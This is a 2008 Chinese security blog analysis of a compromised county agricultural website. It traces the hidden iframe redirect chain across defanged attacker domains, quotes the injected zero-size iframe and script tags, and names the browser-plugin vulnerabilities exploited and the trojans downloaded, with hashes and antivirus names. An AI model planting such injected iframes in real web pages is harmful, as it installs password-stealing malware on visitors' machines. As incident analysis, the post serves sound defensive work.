某县农业信息网挂马RootKit.Win32.Mnless,Trojan.Win32.Edog等

某县农业信息网挂马RootKit.Win32.Mnless,Trojan.Win32.Edog等

endurer 原创
2008-02-02 第1版

打开该网站后IE失去响应……

在该网站首页底部发现代码:
/---
＜iframe src="hxxp://8**8.8*812**15.com/88.htm" width=0 height=0＞＜/iframe＞
---/

1 hxxp://8**8.8*812**15.com/88.htm
包含代码：
/---
＜iframe src="hxxp://8**8.8*812**15.com/in.htm" width=0 height=0＞＜/iframe＞
＜iframe src="hxxp://ga**.mm*52**08.com/w.htm" width=0 height=0＞＜/iframe＞
＜iframe src="hxxp://d**v.5**51*89.net/" width=0 height=0＞＜/iframe＞
＜iframe src="hxxp://a*1**.sb**b2*2.com/a.htm" width=0 height=0＞＜/iframe＞
＜iframe src="hxxp://s*f*.07**08*08.net/sf.htm" width=0 height=0＞＜/iframe＞
---/

1.1 hxxp://8**8.8*812**15.com/in.htm
包含代码：
/---
＜iframe src="hxxp://y**un.y**un8**78.com/web/6619038.htm" width=100 height=0＞＜/iframe＞
---/

1.1.1 hxxp://y**un.y**un8**78.com/web/6619038.htm
包含代码：
/---
＜iframe src=htm.html width=100 height=0＞＜/iframe＞
---/

1.1.1.1 hxxp://y**un.y**un8**78.com/web/htm.html输出代码：
/---
＜script src=hxxp://y**un.y**un8**78.com/web/1.js＞＜/script＞
＜script src=hxxp://y**un.y**un8**78.com/web/bf.js＞＜/script＞
＜script src=hxxp://y**un.y**un8**78.com/web/pps.js＞＜/script＞
＜iframe width='10'height='10'src='hxxp://y**un.y**un8**78.com/web/3.htm'＞＜/iframe＞
＜script src=hxxp://y**un.y**un8**78.com/web/pps.js＞＜/script＞
＜iframe width='100' height='0' src='hxxp://y**un.y**un8**78.com/web/2.htm'＞＜/iframe＞
＜iframe width=100 height=0 src=hxxp://y**un.y**un8**78.com/web/0.htm＞＜/iframe＞
---/

1.1.1.1.1 hxxp://y**un.y**un8**78.com/web/1.js
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://y**un.y**un8**78.com/14.exe

文件说明符 : D:/test/14.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:8:24
修改时间 : 2008-2-2 17:8:24
访问时间 : 2008-2-2 17:15:21
大小 : 9728 字节 9.512 KB
MD5 : b64fac1da0efbbc479486fefa269cf39
SHA1: 35E62825704027BAA6DC0D7089857D72686FBD71
CRC32: 8e086454

Kaspersky报为：Trojan-PSW.Win32.OnLineGames.pik，瑞星报为：Trojan.DL.Win32.Undef.w

1.1.1.1.2 hxxp://y**un.y**un8**78.com/web/bf.js

利用暴风影音漏洞 下载 hxxp://y**un.y**un8**78.com/bf.exe

文件说明符 : D:/test/bf.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:15:57
修改时间 : 2008-2-2 17:15:57
访问时间 : 2008-2-2 17:16:24
大小 : 23886 字节 23.334 KB
MD5 : a20a230c7e2e1f93bc659aa9fa1ed3d1
SHA1: 8FE260C3A6A971D339B2EA170283C13F4FAADE87
CRC32: 13eb41fd

Kaspersky报为：Trojan-PSW.Win32.OnLineGames.ode，瑞星报为：Trojan.DL.Win32.Undef.w、RootKit.Win32.Mnless.gp

1.1.1.1.3 hxxp://y**un.y**un8**78.com/web/pps.js
利用ppstream漏洞下载 hxxp://y**un.y**un8**78.com/pps.exe

pps.exe 与 bf.exe 相同。

1.1.1.1.4 利用 BaiduBar.Tool 下载 hxxp://y**un.y**un8**78.com/ad.cab
ad.cab包含bd.exe
bd.exe 与 bf.exe 相同。

1.1.1.1.5 hxxp://y**un.y**un8**78.com/web/3.htm
利用 联众世界GLChat.ocx 漏洞下载 hxxp://y**un.y**un8**78.com/g.exe
g.exe 与 bf.exe 相同。

1.1.1.1.6 hxxp://y**un.y**un8**78.com/web/2.htm
Realplayer漏洞利用代码。其中一句代码为：PayLoad+="YuanGe";

1.1.1.1.7 hxxp://y**un.y**un8**78.com/web/0.htm
利用Qvod Player播放器漏洞下载 hxxp://y**un.y**un8**78.com/me.exe
me.exe 与 bf.exe 相同。

1.2 hxxp://ga**.mm*52**08.com/w.htm

包含代码：
/---
＜iframe src="hxxp://3**75*86.com/uuu/web.htm" width=100 height=0＞＜/iframe＞
---/

1.2.1 hxxp://3**75*86.com/uuu/web.htm

包含代码：
/---
＜iframe src=r.htm width=10 height=0＞＜/iframe＞
＜iframe src=index.htm width=10 height=0＞＜/iframe＞
---/

1.2.1.1 hxxp://3**75*86.com/uuu/r.htm
Realplayer漏洞利用代码。其中一句代码为：xcbfcxn+="lizhen";

1.2.1.2 hxxp://3**75*86.com/uuu/index.htm
输出代码：
/---
＜iframe src=06014.html＞＜/iframe＞
＜script src=bf.gif＞＜/script＞
＜script src=pps.gif＞＜/script＞
＜script src=lz.gif＞＜/script＞
---/

1.2.1.2.1 hxxp://3**75*86.com/uuu/06014.html
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://3**75*86.com/uuu/uuu.exe, 保存为 quit.exe

文件说明符 : D:/test/uuu.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:27:20
修改时间 : 2008-2-2 17:27:20
访问时间 : 2008-2-2 17:27:30
大小 : 19476 字节 19.20 KB
MD5 : 9eaf1e6e1986170ffdcfae05852f5d0e
SHA1: 4B55206AAB215F1E09E9442988DA5B7C61716FA9
CRC32: 3177b317

1.2.1.2.2 hxxp://3**75*86.com/uuu/bf.gif
利用暴风影音漏洞 下载 hxxp://3**75*86.com/uuu/uuu.exe

1.2.1.2.3 hxxp://3**75*86.com/uuu/lz.gif
利用 联众世界GLChat.ocx 漏洞下载 hxxp://3**75*86.com/uuu/uuu.exe

1.2.1.2.4 hxxp://3**75*86.com/uuu/pps.gif
利用ppstream漏洞下载 hxxp://3**75*86.com/uuu/uuu.exe

1.3 hxxp://d**v.5**51*89.net/

包含代码：
/---
＜iframe src="hxxp://ppp.bu*ya**oni**.com/ww/new82.htm" width=1 height=1＞＜/iframe＞
---/

1.3.1 hxxp://ppp.bu*ya**oni**.com/ww/new82.htm
包含代码：
/---
＜iframe src=hxxp://ppp.bu*ya**oni**.com/dm/diao.htm width=1 height=1＞＜/iframe＞
＜iframe src=hxxp://ppp.bu*ya**oni**.com/dm/rl.htm width=1 height=1＞＜/iframe＞
＜iframe src=hxxp://ppp.bu*ya**oni**.com/dm/rr.htm width=1 height=1＞＜/iframe＞
---/

1.3.1.1 hxxp://ppp.bu*ya**oni**.com/dm/diao.htm
输出代码：
/---
＜script src=hxxp://ppp.bu*ya**oni**.com/dm/11.js＞＜/script＞
＜script src=hxxp://ppp.bu*ya**oni**.com/dm/bb.js＞＜/script＞
＜script src=hxxp://ppp.bu*ya**oni**.com/dm/pp.js＞＜/script＞
＜script src=hxxp://ppp.bu*ya**oni**.com/dm/pp.js＞＜/script＞
---/

1.3.1.1.1 hxxp://ppp.bu*ya**oni**.com/dm/11.js
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://dd.749571.com/bb/014.exe，保存为 ntuser.com

文件说明符 : D:/test/014.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:30:5
修改时间 : 2008-2-2 17:30:6
访问时间 : 2008-2-2 17:32:3
大小 : 12272 字节 11.1008 KB
MD5 : f12f5cb120648999c40ef8a617efd8da
SHA1: 881D4CF70F5A9A77DF37438C826E00FC3FC619D6
CRC32: f6a07465

Kaspersky报为：Trojan-Downloader.Win32.Agent.ine，瑞星报为：Trojan.DL.Win32.Mnless.xr

1.3.1.1.2 hxxp://ppp.bu*ya**oni**.com/dm/bb.js
利用暴风影音漏洞 下载 hxxp://dd.749571.com/bb/bb.exe
bb.exe 与 014.exe 相同。

1.3.1.1.3 hxxp://ppp.bu*ya**oni**.com/dm/pp.js
利用ppstream漏洞下载 hxxp://dd.749571.com/bb/pp.exe
pp.exe 与 014.exe 相同。

1.3.1.1.4 利用 BaiduBar.Tool 下载 hxxp://dd.749571.com/bb/bd.cab
包含文件：bd.exe
bd.exe 与 014.exe 相同。

1.3.1.2 hxxp://ppp.bu*ya**oni**.com/dm/rl.htm
Realplayer漏洞利用代码。其中一句代码为：xcbfcxn+="lizhen";

1.3.1.3 hxxp://ppp.bu*ya**oni**.com/dm/rr.htm
利用 联众世界GLChat.ocx 漏洞 下载 hxxp://is.749571.com/bb/a.exe
a.exe未能下载。

1.4 hxxp://a*1**.sb**b2*2.com/a.htm
包含代码：
/---
＜iframe src="hxxp://xxx.j**sp**p*p.us/dgll1.htm?id=tt" width=100 height=0＞＜/iframe＞
---/

1.4.1 hxxp://xxx.j**sp**p*p.us/dgll1.htm?id=tt
输出代码：
/---
＜iframe width=100 height=1 frameborder=0 scrolling=no src="ceshi/real.htm"＞＜/iframe＞
＜iframe width=100 height=1 frameborder=0 scrolling=no src="ceshi/lz.htm"＞＜/iframe＞
＜iframe width=100 height=1 frameborder=0 scrolling=no src="ceshi/614.htm"＞＜/iframe＞
---/

1.4.1.1 hxxp://xxx.j**sp**p*p.us/ceshi/real.htm
Realplayer漏洞利用代码。其中一句代码为：xcbfcxn+="lizhen";

1.4.1.2 hxxp://xxx.j**sp**p*p.us/ceshi/lz.htm
采用US-ASCII编码，利用联众世界GLChat.ocx漏洞 下载 hxxp://xxx.j**sp**p*p.us/ww/dod.exe

文件说明符 : D:/test/dod.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:39:25
修改时间 : 2008-2-2 17:39:25
访问时间 : 2008-2-2 17:39:38
大小 : 12248 字节 11.984 KB
MD5 : d7da77be93072171fa1e6778655e37da
SHA1: 74EA3B71AB6953A231E914B3592DED61DE4C198B
CRC32: ca260cda

Kaspersky报为：Trojan-Downloader.Win32.Agent.iga，瑞星报为：Trojan.DL.Win32.Mnless.xr

1.4.1.3 hxxp://xxx.j**sp**p*p.us/ceshi/614.htm
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://xxx.j**sp**p*p.us/ww/dod.exe

1.5 hxxp://s*f*.07**08*08.net/sf.htm
包含代码：
/---
＜iframe src="hxxp://xxx.a**omi*ba**.com/index888.htm?F8?001" width=0 height=0＞＜/iframe＞
---/

1.5.1 hxxp://xxx.a**omi*ba**.com/index888.htm?F8?001
输出如下代码：
＜script src=hxxp://xxx.a**omi*ba**.com/Ajax.gif＞＜/script＞
＜iframe width='0' height='0' src='hxxp://xxx.a**omi*ba**.com/Ms06014.htm'＞＜/iframe＞
＜script src=hxxp://xxx.a**omi*ba**.com/Real.js＞＜/script＞
＜script src=hxxp://xxx.a**omi*ba**.com/Bfyy.gif＞＜/script＞
＜script src=hxxp://xxx.a**omi*ba**.com/Pps.gif＞＜/script＞
＜script src=hxxp://xxx.a**omi*ba**.com/XunLei.gif＞＜/script＞
＜script src=hxxp://xxx.a**omi*ba**.com/Lz.gif＞＜/script＞
＜iframe width='0' height='0' src='hxxp://xxx.a**omi*ba**.com/QVod.html'＞＜/iframe＞
---/

1.5.1.1 hxxp://xxx.a**omi*ba**.com/Ajax.gif
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

文件说明符 : D:/test/xxx.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-2 17:43:58
修改时间 : 2008-2-2 17:43:59
访问时间 : 2008-2-2 17:44:6
大小 : 12288 字节 12.0 KB
MD5 : ebea634c297a18c2ff5dbc72841e178a
SHA1: CC2A9A901DC5B2F3E513E2370D008DEFB00F094A
CRC32: 252b48da

Kaspersky报为：Trojan-PSW.Win32.OnLineGames.qgh，瑞星报为：Trojan.Win32.Edog.j

1.5.1.2 hxxp://xxx.a**omi*ba**.com/Ms06014.htm
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.3 hxxp://xxx.a**omi*ba**.com/Real.js
利用RealPlayer漏洞下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.4 hxxp://xxx.a**omi*ba**.com/Bfyy.gif
利用暴风影音漏洞 下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.5 hxxp://xxx.a**omi*ba**.com/Pps.gif
利用ppstream漏洞下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.6 hxxp://xxx.a**omi*ba**.com/XunLei.gif
利用迅雷 漏洞 下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.7 hxxp://xxx.a**omi*ba**.com/Lz.gif
利用联众世界GLChat.ocx 漏洞 下载 hxxp://xxx.a**omi*ba**.com/xxx.exe

1.5.1.8 hxxp://xxx.a**omi*ba**.com/QVod.html
利用Qvod Player播放器漏洞下载 hxxp://xxx.a**omi*ba**.com/xxx.exe